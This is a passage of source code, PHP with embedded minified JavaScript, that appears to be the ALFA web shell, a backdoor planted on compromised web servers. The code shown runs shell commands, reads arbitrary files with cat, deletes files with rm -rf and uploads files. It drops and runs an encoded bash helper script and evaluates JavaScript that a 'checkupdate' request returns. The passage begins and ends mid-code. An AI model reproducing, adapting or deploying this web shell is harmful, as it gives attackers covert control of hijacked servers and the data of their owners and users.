d.querySelector("#shortcutMenu-holder").style.height="190px",d.querySelector("#shortcutMenu-holder > form > input[name=fname]").style.display="block",d.querySelector("#shortcutMenu-holder > form > .perm-table-holder").style.display="none";var p="move"==t||"copy"==t?r+l:l;if("modify"==t){var f="tr_row_"+e.getAttribute("fid").replace("id_","");p=d.querySelector("#"+f+" .main_modify").innerText}d.querySelector(".cl-popup-fixed").style.display="block",d.querySelector("#shortcutMenu-holder .popup-head").innerHTML=o,d.querySelector("#shortcutMenu-holder .old-path-lbl").innerHTML=a,d.querySelector("#shortcutMenu-holder .new-filename-lbl").innerHTML=i,d.querySelector("#shortcutMenu-holder .popup-foot > button[name=accept]").innerHTML=o,d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=r+l,d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value=p,d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("fid",e.getAttribute("fid")),d.querySelector("#shortcutMenu-holder button[name=accept]").setAttribute("action",t)}function calcperm(){var e=event.srcElement;autoCheckPerms(e.checked,e.name.substr(0,1))}function autoCheckPerms(e,t,a){if(void 0!==a)for(var i in a){var l=a[i];d.querySelector("#shortcutMenu-holder > form input[name="+l+"r]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"w]").checked=!1,d.querySelector("#shortcutMenu-holder > form input[name="+l+"x]").checked=!1}var r=d.querySelector("#shortcutMenu-holder > form input[name="+t+"r]"),o=d.querySelector("#shortcutMenu-holder > form input[name="+t+"w]"),n=d.querySelector("#shortcutMenu-holder > form input[name="+t+"x]");if("boolean"!=typeof e)"7"==e?(r.checked=!0,o.checked=!0,n.checked=!0):"4"==e?r.checked=!0:"2"==e?o.checked=!0:"1"==e?n.checked=!0:"6"==e?(r.checked=!0,o.checked=!0):"3"==e?(o.checked=!0,n.checked=!0):"5"==e&&(r.checked=!0,n.checked=!0);else{var s=0;r.checked&&(s+=4),o.checked&&(s+=2),n.checked&&(s+=1),"u"==t?d.querySelector("#shortcutMenu-holder > form input[name=u]").value=s:"g"==t?d.querySelector("#shortcutMenu-holder > form input[name=g]").value=s:"w"==t&&(d.querySelector("#shortcutMenu-holder > form input[name=w]").value=s)}}function gg(e,t,a,i,l,r){var o="filesman_holder_"+alfa_current_fm_id;alfaloader(o,"block"),data="a="+alfab64(e)+"&c="+alfab64(t)+"&alfa1="+alfab64(a)+"&alfa2="+alfab64(i)+"&alfa3="+alfab64(l)+"&ajax="+alfab64("true"),_Ajax(d.URL,data,r,!1,o)}function alfaPopUpDoAction(e){var t=e.getAttribute("action");switch(t){case"rename":case"move":case"copy":var a=e.getAttribute("fid").replace("id_",""),i=$("id_"+a).getAttribute("fname"),l=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value;l=l.trim(),i=i.trim(),gg("doActions",c_,i,l,t,function(e,i){if("rename"==t)if("done"==e){var r=$("id_"+a);updateFileEditor(a,l);var o=r.getAttribute("path")+$("id_"+a).getAttribute("fname");d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML=o,r.addEventListener("animationend",function(){r.classList.remove("textEffect")}),r.classList.add("textEffect"),alfaShowNotification("Renamed...","Rename Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification("error...!","Rename Action","error");alfaloader(i,"none")});break;case"permission":var r=d.querySelector("#shortcutMenu-holder > form input[name=u]").value,o=d.querySelector("#shortcutMenu-holder > form input[name=g]").value,n=d.querySelector("#shortcutMenu-holder > form input[name=w]").value;i=(i=d.querySelector("#shortcutMenu-holder > form > .old-path-content").innerHTML).trim();var s=r.trim()+o.trim()+n.trim();gg("doActions",c_,i,s,t,function(e,t){alfaloader(t,"none"),alfaShowNotification(e,"Permission Action"),d.querySelector(".cl-popup-fixed").style.display="none"});break;case"modify":a=e.getAttribute("fid").replace("id_","");var c=d.querySelector("#shortcutMenu-holder > form > input[name=fname]").value,u=$("id_"+a).getAttribute("fname");gg("doActions",c_,c,u,t,function(t,a){if("ok"==t){var i="tr_row_"+e.getAttribute("fid").replace("id_","");d.querySelector("#"+i+" .main_modify").innerHTML=c,alfaShowNotification("success...","Modify Action"),d.querySelector(".cl-popup-fixed").style.display="none"}else alfaShowNotification(t,"Modify Action","error");alfaloader(a,"none")})}}function alfaInitSoratableTab(e){Sortable.create(e,{direction:"horizontal",animation:300,ghostClass:"sortable-ghost",filter:".not-sortable"})}$("search-input").addEventListener("keydown",function(e){setTimeout(function(){var e=$("search-input").value;for(var t in d.getElementsByClassName("history-list")[0].innerHTML="",editor_files)if(-1!=editor_files[t].file.search(e)||""==e){var a=0;t==editor_current_file&&(a=" is_active"),insertToHistory(t,editor_files[t].file,a,editor_files[t].type)}},100)},!1),_Ajax(d.URL,"a="+alfab64("checkupdate"),function(e){if(0!=e.length&&"[]"!=e){var t=JSON.parse(e);if(t.hasOwnProperty("content")){d.body.insertAdjacentHTML("beforeend",t.content);try{evalJS(t.content)}catch(t){}}if(t.hasOwnProperty("copyright")&&($("alfa-copyright").innerHTML=t.copyright),t.hasOwnProperty("solevisible")&&($("alfa_solevisible").innerHTML=t.solevisible),t.hasOwnProperty("code_name")&&($("hidden_sh").innerHTML=t.code_name.replace(/\\{version\\}/g,t.version_number)),t.hasOwnProperty("market")){var a=d.querySelector("span.alfa_plus");if(t.market.hasOwnProperty("visible")&&"yes"==t.market.visible&&($("menu_opt_market").style.display="inline"),"open"!=t.market.status&&(a.style.color="#ffc107"),t.market.hasOwnProperty("content"))try{evalJS(t.market.content)}catch(t){}}}}),<?php echo $GLOBALS["need_to_update_header"]; ?>?_Ajax(d.URL,"a="+alfab64("updateheader"),function(e){try{var t=JSON.parse(e);for(var a in t){for(var i="",l=0;l<t[a].length;l++)i+="useful"==a||"downloader"==a?\'<span class="header_values" style="margin-left: 4px;">\'+t[a][l]+"</span>":t[a][l];var r=$("header_"+a);r&&(r.innerHTML=i)}$("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on")}catch(e){}}):islinux&&_Ajax(d.URL,"a="+alfab64("checkcgi"),function(e){"ok"==e&&($("header_cgishell").innerHTML="ON",$("header_cgishell").setAttribute("class","header_on"))}),function(){d.onclick=function(){can_hashchange_work=!1,setTimeout(function(){can_hashchange_work=!0},600)},window.onhashchange=function(e){can_hashchange_work&&alfaCheckUrlHash()},alfaCheckUrlHash(),alfagetFlags(),rightclick_menu_context=$("rightclick_menu").style,alfaInitCwdContext(),document.addEventListener("click",function(e){rightclick_menu_context.opacity="0",setTimeout(function(){rightclick_menu_context.visibility="hidden"},501)},!1);var e=document.createElement("script");e.src="https://cdnjs.cloudflare.com/ajax/libs/Sortable/1.10.2/Sortable.min.js",e.id="sortable-plugin",e.onload=function(){alfaInitSoratableTab($("filesman_tabs_child")),alfaInitSoratableTab(d.querySelector(".editor-tabs")),alfaInitSoratableTab(d.querySelector(".options_tab")),alfaInitSoratableTab(d.querySelector(".terminal-tabs")),alfaInitSoratableTab(d.querySelector(".sql-tabs"))},d.body.appendChild(e)}();\n</script>\n</body>\n</html>\n<?php\n}}\nif (!function_exists("posix_getpwuid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getpwuid\')===false)) {\nfunction posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos(@ini_get(\'disable_functions\'), \'posix_getgrgid\')===false)) {\nfunction posix_getgrgid($p) {return false;} }\nfunction alfaWhich($p) {\n$path = alfaEx(\'which \' . $p,false,false);\nif(!empty($path))\nreturn strlen($path);\nreturn false;\n}\nfunction alfaSize($s) {\nif($s >= 1073741824)\nreturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\nelseif($s >= 1048576)\nreturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\nelseif($s >= 1024)\nreturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\nelse\nreturn $s . \' B\';\n}\nfunction alfaPerms($p) {\nif (($p & 0xC000) == 0xC000)$i = \'s​\';\nelseif (($p & 0xA000) == 0xA000)$i = \'l​\';\nelseif (($p & 0x8000) == 0x8000)$i = \'-​\';\nelseif (($p & 0x6000) == 0x6000)$i = \'b​\';\nelseif (($p & 0x4000) == 0x4000)$i = \'d​\';\nelseif (($p & 0x2000) == 0x2000)$i = \'c​\';\nelseif (($p & 0x1000) == 0x1000)$i = \'p​\';\nelse $i = \'u​\';\n$i .= (($p & 0x0100) ? \'r​\' : \'-\');\n$i .= (($p & 0x0080) ? \'w​\' : \'-\');\n$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s​\' : \'x​\' ) : (($p & 0x0800) ? \'S​\' : \'-\'));\n$i .= (($p & 0x0020) ? \'r​\' : \'-\');\n$i .= (($p & 0x0010) ? \'w​\' : \'-\');\n$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s​\' : \'x​\' ) : (($p & 0x0400) ? \'S​\' : \'-\'));\n$i .= (($p & 0x0004) ? \'r​\' : \'-\');\n$i .= (($p & 0x0002) ? \'w​\' : \'-\');\n$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t​\' : \'x​\' ) : (($p & 0x0200) ? \'T​\' : \'-\'));\nreturn $i;\n}\nfunction alfaPermsColor($f,$isbash=false){\n$class = "";\n$num = "";\n$human = "";\nif($isbash){\n$class = $f["class"];\n$num = $f["num"];\n$human = $f["human"];\n}else{\n$num = substr(sprintf(\'%o\', @fileperms($f)),-4);\n$human = alfaPerms(@fileperms($f));\nif(!@is_readable($f))\n$class = "main_red_perm";\nelseif (!@is_writable($f))\n$class = "main_white_perm";\nelse\n$class = "main_green_perm";\n}\nreturn \'<span style="font-weight:unset;" class="\'.$class.\'">\'.$num.\'</span><span style="font-weight:unset;" class="beetween_perms"> >> </span><span style="font-weight:unset;" class="\'.$class.\'">\'.$human.\'</span>\';\n}\nif(!function_exists("scandir")) {\nfunction scandir($dir) {\n$dh = opendir($dir);\nwhile (false !== ($filename = readdir($dh)))\n$files[] = $filename;\nreturn $files;\n}\n}\nfunction reArrayFiles($file_post){\n$file_ary = array();\n$file_count = count($file_post[\'name\']);\n$file_keys = array_keys($file_post);\nfor ($i=0; $i<$file_count; $i++) {\nforeach ($file_keys as $key) {\n$file_ary[$i][$key] = $file_post[$key][$i];\n}\n}\nreturn $file_ary;\n}\nfunction _alfa_can_runCommand($cgi=true,$cache=true){\n    if(isset($_COOKIE["alfa_canruncmd"])&&$cache){\n        return true;\n    }\n    if(strlen(alfaEx("whoami",false,$cgi))>0){\n        $_COOKIE["alfa_canruncmd"] = true;\n        return true;\n    }\n    return false;\n}\nfunction _alfa_symlink($target, $link){\n    $phpsym = function_exists("symlink");\n    if($phpsym){\n        @symlink($target, $link);\n    }else{\n        alfaEx("ln -s \'".addslashes($target)."\' \'".addslashes($link)."\'");\n    }\n}\nfunction _alfa_file_exists($file,$cgi=true){\n    if(@file_exists($file)){\n        return true;\n    }else{\n        if(strlen(alfaEx("ls -la \'".addslashes($file)."\'",false,$cgi))>0){\n            return true;\n        }\n    }\n    return false;\n}\nfunction _alfa_file($file,$cgi=true){\n    $array = @file($file);\n    if(!$array){\n        if(strlen(alfaEx("id",false,$cgi))>0){\n            $data = alfaEx(\'cat "\'.addslashes($file).\'"\',false,$cgi);\n            if(strlen($data)>0){\n                return explode("\\n", $data);\n            }else{\n                return false;\n            }\n        }else{\n            return false;\n        }\n    }else{\n        return $array;\n    }\n}\nfunction _alfa_is_writable($file){\n    $check = false;\n    $check = @is_writable($file);\n    if(!$check){\n        if(_alfa_can_runCommand()){\n            $check = alfaEx(\'[ -w "\'.trim(addslashes($file)).\'" ] && echo "yes" || echo "no"\');\n            if($check == "yes"){\n                $check = true;\n            }else{\n                $check = false;\n            }\n        }\n    }\n    return $check;\n}\nfunction _alfa_is_dir($dir,$mode="-d"){\n    $check = false;\n    $check = @is_dir($dir);\n    if($mode == "-e"){\n        $check = @is_file($dir);\n    }\n    if(!$check){\n        if(_alfa_can_runCommand()){\n            $check = alfaEx(\'[ "\'.trim($mode).\'" "\'.trim(addslashes($dir)).\'" ] && echo "yes" || echo "no"\');\n            if($check == "yes"){\n                return true;\n            }else{\n                return false;\n            }\n        }\n    }\n    return $check;\n}\nfunction _alfa_load_ace_options($base){\n    return \'<span>Theme: </span><select class="ace-controler ace-theme-selector" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\\\'theme\\\');"><option value="terminal" selected>terminal</option><option value="ambiance">ambiance</option><option value="chaos">chaos</option><option value="chrome">chrome</option><option value="clouds">clouds</option><option value="clouds_midnight">clouds_midnight</option><option value="cobalt">cobalt</option><option value="crimson_editor">crimson_editor</option><option value="dawn">dawn</option><option value="dracula">dracula</option><option value="dreamweaver">dreamweaver</option><option value="eclipse">eclipse</option><option value="github">github</option><option value="gob">gob</option><option value="gruvbox">gruvbox</option><option value="idle_fingers">idle_fingers</option><option value="iplastic">iplastic</option><option value="katzenmilch">katzenmilch</option><option value="kr_theme">kr_theme</option><option value="kuroir">kuroir</option><option value="merbivore">merbivore</option><option value="merbivore_soft">merbivore_soft</option><option value="mono_industrial">mono_industrial</option><option value="monokai">monokai</option><option value="nord_dark">nord_dark</option><option value="pastel_on_dark">pastel_on_dark</option><option value="solarized_dark">solarized_dark</option><option value="solarized_light">solarized_light</option><option value="sqlserver">sqlserver</option><option value="textmate">textmate</option><option value="tomorrow">tomorrow</option><option value="tomorrow_night">tomorrow_night</option><option value="tomorrow_night_blue">tomorrow_night_blue</option><option value="tomorrow_night_bright">tomorrow_night_bright</option><option value="tomorrow_night_eighties">tomorrow_night_eighties</option><option value="twilight">twilight</option><option value="vibrant_ink">vibrant_ink</option><option value="xcode">xcode</option></select><span>Language: </span><select class="ace-controler" base="\'.$base.\'" onChange="alfaAceChangeSetting(this,\\\'lang\\\');"><option value="php">php</option><option value="python">python</option><option value="perl">perl</option><option value="c_cpp">c/c++</option><option value="csharp">c#</option><option value="ruby">ruby</option><option value="html">html</option><option value="javascript">javascript</option><option value="css">css</option><option value="xml">xml</option><option value="sql">sql</option><option value="swift">swift</option><option value="sh">bash</option><option value="lua">lua</option><option value="powershell">powershell</option><option value="jsp">jsp</option><option value="java">java</option><option value="json">json</option><option value="plain_text">plain_text</option></select><span>Soft Wrap: </span><input type="checkbox" name="wrapmode" class="ace-controler" onClick="alfaAceChangeWrapMode(this,\\\'\'.$base.\'\\\');" checked> | <span>Font Size: </span><button class="ace-controler" style="cursor:pointer;" onclick="alfaAceChangeFontSize(\\\'\'.$base.\'\\\',\\\'+\\\', this);return false;">+</button> | <button style="cursor:pointer;" class="ace-controler" onclick="alfaAceChangeFontSize(\\\'\'.$base.\'\\\', \\\'-\\\', this);return false;">-</button> | \';\n}\nfunction alfaFilesMan2(){\n    alfahead();\n    AlfaNum(8,9,10,7,6,5,4);\n    echo \'<div style="position:relative;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div class="header"></div></div>\';\n    alfaFooter();\n}\nfunction copy_paste($c,$s,$d){\nif(@is_dir($c.$s)){\n@mkdir($d.$s);\n$h = @opendir($c.$s);\nwhile (($f = @readdir($h)) !== false)\nif (($f != ".") and ($f != ".."))\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n} elseif(is_file($c.$s))\n@copy($c.$s, $d.$s);\n}\nfunction alfaFilesMan(){\nif(!empty ($_COOKIE[\'alfa_f\']))\n$_COOKIE[\'alfa_f\'] = @unserialize($_COOKIE[\'alfa_f\']);\nif(!empty($_POST[\'alfa1\'])){\nswitch($_POST[\'alfa1\']){\ncase \'uploadFile\':\n$move_cmd_file = false;\n$alfa_canruncmd = false;\nif($GLOBALS[\'glob_chdir_false\']){\n    $alfa_canruncmd = _alfa_can_runCommand(true,true);\n    $move_cmd_file = true;\n}\nif(_alfa_is_writable($GLOBALS[\'cwd\'])){\n$files = reArrayFiles($_FILES[\'f\']);\n$ret_files = array();\nforeach($files as $file){\nif($move_cmd_file&&$alfa_canruncmd){\n    alfaEx("cat \'".addslashes($file[\'tmp_name\'])."\' > \'".addslashes($_POST["c"]."/".$file[\'name\'])."\'");\n}else{\n    if(@move_uploaded_file($file[\'tmp_name\'],$file[\'name\'])){\n        $ow = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($file[\'name\'])):array("name" => "????");\n        $gr = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($file[\'name\'])):array("name" => "????");\n        $file_owner = $ow[\'name\']?$ow[\'name\']:(function_exists("fileowner")?@fileowner($file[\'name\']):"????");\n        $file_group = $gr[\'name\']?$gr[\'name\']:(function_exists("filegroup")?@filegroup($file[\'name\']):"????");\n        $file_modify = @date(\'Y-m-d H:i:s\', @filemtime($file[\'name\']));\n        $file_perm = alfaPermsColor($file[\'name\']);\n        $file_size = @filesize($file[\'name\']);\n        $ret_files[] = array("name" => $file[\'name\'], "size" => alfaSize($file_size), "perm" => $file_perm, "modify" => $file_modify, "owner" => $file_owner."/".$file_group);\n    }\n}\n}\nif(!$move_cmd_file){\n    echo json_encode($ret_files);\n}\n}else{\n    echo "noperm";\n    return;\n}\nif(!$move_cmd_file){\nreturn;\n}\nbreak;\ncase \'mkdir\':\n$new_dir_cmd = false;\nif($GLOBALS[\'glob_chdir_false\']){\n    if(_alfa_can_runCommand(true,true)){\n        if(_alfa_is_writable($GLOBALS[\'cwd\'])){\n            if(!_alfa_is_dir(trim($_POST[\'alfa2\']))){\n                alfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';mkdir \'".trim(addslashes($_POST[\'alfa2\']))."\'");\n                echo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";\n            }else{\n                echo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";\n            }\n        }else{\n            echo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";\n        }\n    }else{\n        echo "<script>alfaShowNotification(\'Can\\\'t create new dir !\', \'Files manager\', \'error\');</script>";\n    }\n}else{\n    if(_alfa_is_writable($GLOBALS[\'cwd\'])){\n        if(!_alfa_is_dir(trim($_POST[\'alfa2\']))){\n            if(!@mkdir(trim($_POST[\'alfa2\']))){\n                echo "<script>alfaShowNotification(\'Can\\\'t create new dir !\', \'Files manager\', \'error\');</script>";\n            }else{\n                echo "<script>alfaShowNotification(\'".addslashes($_POST[\'alfa2\'])." created...\', \'Files manager\');</script>";\n            }\n        }else{\n            echo "<script>alfaShowNotification(\'folder already existed\', \'Files manager\', \'error\');</script>";\n        }\n    }else{\n        echo "<script>alfaShowNotification(\'folder isnt writable !\', \'Files manager\', \'error\');</script>";\n    }\n}\nbreak;\ncase \'delete\':\nfunction deleteDir($path){\n$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n$dh = @opendir($path);\nwhile(($item = @readdir($dh)) !== false){\n$item = $path.$item;\nif((basename($item) == "..") || (basename($item) == "."))\ncontinue;\n$type = @filetype($item);\nif ($type == "dir")\ndeleteDir($item);\nelse\n@unlink($item);\n}\n@closedir($dh);\n@rmdir($path);\n}\nif(is_array(@$_POST[\'f\']))\nforeach($_POST[\'f\'] as $f){\nif($f == \'..\')\ncontinue;\n$f = rawurldecode($f);\nif($GLOBALS["glob_chdir_false"]){\n    if(_alfa_can_runCommand(true,true)){\n        alfaEx("rm -rf \'".addslashes($_POST[\'c\'].\'/\'.$f)."\'");\n    }\n}else{\nalfaEx("rm -rf \'".addslashes($f)."\'",false,false);\nif(@is_dir($f))\ndeleteDir($f);\nelse\n@unlink($f);\n}\n}\nif(@is_dir(rawurldecode(@$_POST[\'alfa2\']))&&rawurldecode(@$_POST[\'alfa2\'])!=\'..\'){\ndeleteDir(rawurldecode(@$_POST[\'alfa2\']));\nalfaEx("rm -rf \'".addslashes($_POST[\'alfa2\'])."\'",false,false);\n}else{\n@unlink(rawurldecode(@$_POST[\'alfa2\']));\n}\nif($GLOBALS["glob_chdir_false"]){\n    $source = rawurldecode(@$_POST[\'alfa2\']);\n    if($source!=\'..\'&&!empty($source)){\n        if(_alfa_can_runCommand(true,true)){\n            alfaEx("cd \'".trim(addslashes($_POST[\'c\']))."\';rm -rf \'".addslashes($source)."\'");\n        }\n    }\n}\nif(is_array($_POST[\'f\']))\nreturn;\nbreak;\ncase \'paste\':\nif($_COOKIE[\'alfa_act\'] == \'copy\'&&isset($_COOKIE[\'alfa_f\'])){\nforeach($_COOKIE[\'alfa_f\'] as $f)\ncopy_paste($_COOKIE[\'alfa_c\'],$f, $GLOBALS[\'cwd\']);\n}elseif($_COOKIE[\'alfa_act\'] == \'move\'&&isset($_COOKIE[\'alfa_f\'])){\nfunction move_paste($c,$s,$d){\nif(@is_dir($c.$s)){\n@mkdir($d.$s);\n$h = @opendir($c.$s);\nwhile (($f = @readdir($h)) !== false)\nif(($f != ".") and ($f != ".."))\ncopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n}elseif(@is_file($c.$s))\n@copy($c.$s, $d.$s);\n}\nforeach($_COOKIE[\'alfa_f\'] as $f)\n@rename($_COOKIE[\'alfa_c\'].$f, $GLOBALS[\'cwd\'].$f);\n}elseif($_COOKIE[\'alfa_act\'] == \'zip\'&&isset($_COOKIE[\'alfa_f\'])){\nif(class_exists(\'ZipArchive\')){\n$zip = new ZipArchive();\n$zipX = "alfa_".rand(1,1000).".zip";\nif($zip->open($zipX, 1)){\n@chdir($_COOKIE[\'alfa_c\']);\nforeach($_COOKIE[\'alfa_f\'] as $f){\nif($f == \'..\')continue;\nif(@is_file($_COOKIE[\'alfa_c\'].$f))\n$zip->addFile($_COOKIE[\'alfa_c\'].$f, $f);\nelseif(@is_dir($_COOKIE[\'alfa_c\'].$f)){\n$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\'));\nforeach($iterator as $key=>$value){\n$key = str_replace(\'\\\\\',\'/\',realpath($key));\nif(@is_dir($key)){\nif(in_array(substr($key, strrpos($key,\'/\')+1),array(\'.\', \'..\')))continue;\n}else{$zip->addFile($key,$key);}}}}\n@chdir($GLOBALS[\'cwd\']);\n$zip->close();\n__alert(\'>> \'.$zipX.\' << is created...\');}}\n}elseif($_COOKIE[\'alfa_act\'] == \'unzip\'&&isset($_COOKIE[\'alfa_f\'])){\nif(class_exists(\'ZipArchive\')){\n$zip = new ZipArchive();\nforeach($_COOKIE[\'alfa_f\'] as $f) {\nif($zip->open($_COOKIE[\'alfa_c\'].$f)){\n$zip->extractTo($_COOKIE[\'alfa_cwd\']);\n$zip->close();}}}}\nunset($_COOKIE[\'alfa_f\']);\nbreak;\ndefault:\nif(!empty($_POST[\'alfa1\'])){\nif(in_array($_POST[\'alfa1\'], array("copy", "move", "zip", "unzip"))){\n__alfa_set_cookie(\'alfa_act\', @$_POST[\'alfa1\']);\n__alfa_set_cookie(\'alfa_f\', @serialize($_POST[\'f\']));\n__alfa_set_cookie(\'alfa_c\', @$_POST[\'c\']);\nreturn;\n}\n}\nbreak;\n}\n}\n$dirContent = @scandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\nif(preg_match("#(.*)\\/\\.\\.#", $_POST[\'c\'], $res)){\n    $path = explode(\'/\', $res[1]);\n    array_pop($path);\n    $_POST[\'c\'] = implode(\'/\', $path);\n}\n$cmd_dir = false;\nif($dirContent === false){\n    if(_alfa_can_runCommand(true,true)){\n        $tmp_getdir_path = @$_COOKIE["alfachdir_bash_path"];\n        @chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\n        if(!isset($_COOKIE["alfachdir_bash"])||@!file_exists($tmp_getdir_path."/alfacgiapi/getdir.alfa")){\n            $bash = "jZTfb5swEMef4a+4uaYkSmmS/YpEwsOkqVNfO+1hSqKKggnWwI4MEaFppL3vv9xfUtsYSKpMWh6I7/O9O9vcHVfvxrtCjJ8oGxep/fX+IcBT+/7ue4DdFXNtEqUc0BLZCRdAgTLAg6wALwQsfYdziLkN8rcNyzRAio0xRRrRBJZLwBSCANDtLYLra/D2Mr5KaZSCIGGcUfZrCOv1HMqUMB3VJcOD1gO8BLBiw86DBhpoO6G2RVnCZURRhiV4ESDnznd++M433yl856c/cULf+YLaLJa6n+u7+gzgCXWdUIiwhsViAQirbMi2ynpLAnzQynKyPurdeMWI6OjU0I3gu21H30tqFfS5j/6gSM5jmtQd+2hit0TkbJd3/NMJT3d5yDrls1EYqR571XWb1yALNBgApcFkLp8LfLjqfI6KjEYw7Av2JstIFu/QWT6m1J8e//7+05Qy5oy8PdNZuKxAU21zGV3zyXQ2m6G+vJbVXhVNlGJAkw/FQm5X7eVDVPKxF5V00LXVmb1KFkaVTyVUraSYOGFnm0Q84yJAeUjZ40YQwvRRZUKSmXT/FSo7tSR9aEEu+AgStx79abHqHf0SYipIVHJRn22kW0tpJ0fqYwTZ7LJQyM7OiL7uy8tlB5Jvy/rfbkWdP/GMRqCm6ML+OrA5tp7zwwqxMCcr5MNKTsEK3ch/5WpIs1RQT4GhZq2wHgODzVphNQqGNksFm2kwuDWUYJrEKJ3VSrpdTkRjt7IuzYls7OONrZu4+Z4djmv0Cg==";\n            $tmp_getdir_path = alfaWriteTocgiapi("getdir.alfa",$bash);\n            __alfa_set_cookie("alfachdir_bash", "true");\n            __alfa_set_cookie("alfachdir_bash_path", $tmp_getdir_path);\n        }\n        $dirContent = alfaEx("cd ".$tmp_getdir_path."/alfacgiapi;sh getdir.alfa \'".addslashes(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\'])."\'");\n        $dirContent = json_decode($dirContent, true);\n        if(is_array($dirContent)){\n            array_pop($dirContent);\n            $cmd_dir = true;\n        }else{\n            $dirContent = false;\n        }\n    }\n}\nalfahead();\nAlfaNum(8,9,10,7,6,5,4);\n$count_dirContent = @count($dirContent);\nif($count_dirContent > 300){\n    @$_COOKIE["alfa_limited_files"] = 100;\n}\n$alfa_sort_by = isset($_COOKIE["alfa_sort_by"]) ? $_COOKIE["alfa_sort_by"] : \'name\';\n$alfa_limited_files = isset($_COOKIE["alfa_limited_files"]) ? (int)$_COOKIE["alfa_limited_files"] : 0;\n$alfa_files_page_number = isset($_POST["pagenum"]) ? (int)$_POST["pagenum"] : 1;\n$alfa_filesman_direction = isset($_COOKIE["alfa_filesman_direction"]) ? $_COOKIE["alfa_filesman_direction"] : \'asc\';\n$files_page_count = 1;\nif($alfa_limited_files > 0){\n    $files_page_count = ceil($count_dirContent/$alfa_limited_files);\n    if($files_page_count > 1){\n        $files_page_count++;\n    }\n}\necho \'<div><div class="filters-holder"><span>Filter: </span><input style="color:#25ff00;" autocomplete="off" type="text" id="regex-filter" name="name-filter" onkeydown="doFilterName(this);"><span style="margin-left:10px">Sort By: </span><select name="sort_files" onchange="sortBySelectedValue(this,\\\'alfa_sort_by\\\');" style="color:#25ff00;"><option value="name" \'.($alfa_sort_by == \'name\'?\'selected\':\'\').\'>Name</option><option value="size" \'.($alfa_sort_by == \'size\'?\'selected\':\'\').\'>Size</option><option value="modify" \'.($alfa_sort_by == \'modify\'?\'selected\':\'\').\'>Modify</option></select><span style="margin-left:10px">Direction: </span><select name="direction_filesman" onChange="sortBySelectedValue(this,\\\'alfa_filesman_direction\\\')" style="color:#25ff00;"><option value="asc" \'.($alfa_filesman_direction == \'asc\'?\'selected\':\'\').\'>Ascending</option><option value="desc" \'.($alfa_filesman_direction == \'desc\'?\'selected\':\'\').\'>Descending</option></select><span style="margin-left:10px;"> limit: </span><input style="text-align:center;width: 40px;color:#25ff00;" type="text" name="limited_number" value="\'.$alfa_limited_files.\'" oninput="this.value=this.value.replace(/[^0-9]/g,\\\'\\\');setCookie(\\\'alfa_limited_files\\\', this.value, 2012);"><span style="margin-left:10px;">Files Count: <b style="color:#25ff00;">\'.($count_dirContent-1).\'</b></span></div><div class="header">\';\nif($dirContent == false){\necho \'<center><br><span style="font-size:16px;"><span style="color: red; -webkit-text-shadow: 1px 1px 13px;"><strong><b><big>!!! Access Denied !!!</b></big><br><br></strong></div>\';\nalfaFooter();\nreturn;\n}\nglobal $sort;\n$sort = array(\'name\', 1);\nif(isset($_COOKIE["alfa_sort_by"]) && !empty($_COOKIE["alfa_sort_by"])){\n    $sort[0] = $_COOKIE["alfa_sort_by"];\n}\nif(!empty($_POST[\'alfa1\'])) {\nif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'alfa1\'], $match))\n$sort = array($match[1], (int)$match[2]);\n}\nif($alfa_files_page_number > ($files_page_count-1)){\n    $alfa_files_page_number = 1;\n}\n$checkbox_rand = rand(11111, 99999);\necho "<form onsubmit=\'fc(this);return false;\' name=\'files\' method=\'post\'><table id=\'filemanager_table\' width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'><tr><th width=\'13px\'><div class=\'myCheckbox\' style=\'padding-left:0px;\'><input type=\'checkbox\' id=\'mchk".$checkbox_rand."\' onclick=\'checkBox(this);\' class=\'chkbx\'><label for=\'mchk".$checkbox_rand."\'></label></div></th><th>Name</th><th>Size</th><th>Modify</th><th>Owner/Group</th><th>Permissions</th><th>Actions</th></tr>";\n$dirs = $files = array();\n$n = $count_dirContent;\nif($n > $alfa_limited_files && $alfa_limited_files > 0){\n    $n = ($alfa_limited_files * $alfa_files_page_number);\n    if($n > $count_dirContent){\n        $n = $count_dirContent;\n    }\n}\n$i = 0;\nif($alfa_limited_files > 0 && $alfa_files_page_number > 1){\n    $i = $alfa_limited_files * ($alfa_files_page_number - 1);\n}\n$page_builder = get_pagination_links($alfa_files_page_number,$files_page_count -1);\n$cmd_dir_backp = "";\nfor(;$i<$n;$i++){\nif($cmd_dir){\n$filename = $dirContent[$i]["name"];\n$file_owner = $dirContent[$i]["owner"];\n$file_group = 